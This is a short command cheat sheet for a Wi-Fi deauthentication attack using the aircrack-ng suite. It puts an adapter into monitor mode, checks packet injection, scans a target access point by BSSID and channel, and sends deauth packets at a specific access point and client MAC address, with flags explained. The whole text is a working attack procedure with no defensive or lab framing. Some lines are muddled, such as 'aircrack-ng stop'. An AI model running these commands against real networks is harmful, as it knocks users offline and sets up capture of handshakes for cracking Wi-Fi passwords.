# Stop processes that could cause issues
sudo airmon-ng check kill
# Put wlan0 into monitor mode
sudo airmon-ng start wlan0
# Check that wlan0 is monitoring
# Check Injection is working
sudo aireplay-ng -9 wlan0
sudo aircrack-ng stop wlan0
sudo airodump-ng wlan0
airodump-ng -d "target's BSSID" -c "target's channel number" "wireless adapter monitor mode name"
sudo airodump-ng -d 50:C7:BF:DC:4C:E8 -c 11 wlan0
This will only work if wlan0 is set to the same channel as the target AP. The above scans will tell you the channel.
The below will change wlan0 to channel 11.
sudo iwconfig wlan0 channel 11
Send 10 deauth packets (0 to keep deauthing)
-a [AP MAC]
Specify the AP to target
-c [Device MAC]
Specify the device on the AP to target (none specified will do all)
Specify the interface to use
aireplay-ng -0 10 -a 50:C7:BF:DC:4C:E8 -c E0:B5:2D:EA:18:A7 wlan0